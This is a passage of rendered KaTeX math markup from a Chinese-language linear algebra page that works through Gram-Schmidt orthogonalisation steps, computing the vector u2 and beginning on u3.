style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9794em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:7.48em;vertical-align:-3.49em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.99em;"><span style="top:-2.11em;"><span class="pstrut" style="height:4.05em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-4.28em;"><span class="pstrut" style="height:4.05em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-5.99em;"><span class="pstrut" style="height:4.05em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.49em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>然后计算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>u</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> u_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>u</mi><mn>2</mn></msub><mo>=</mo><msub><mi>a</mi><mn>2</mn></msub><mo>−</mo><mi>p</mi><mi>r</mi><mi>o</mi><msub><mi>j</mi><msub><mi>q</mi><mn>1</mn></msub></msub><mo stretchy="false">(</mo><msub><mi>a</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>−</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0.5</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>0.5</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">u_2 = a_2 - proj_{q_1}(a_2) = \begin{bmatrix} 1 \\ 0 \\ 1 \end{bmatrix} - \begin{bmatrix} 0.5 \\ 0.5 \\ 0 \end{bmatrix} = \begin{bmatrix} 0.5 \\ -0.5 \\ 1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">ro</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0.5</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">0.5</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p></li><li><p>然后计算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>u</mi><mn>3</mn></msub></mrow><annotation encoding="application/x-tex"> u_3 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>:</p><p>计算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>a</mi><mn>3</mn></msub></mrow><annotation encoding="application/x-tex"> a_3 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" 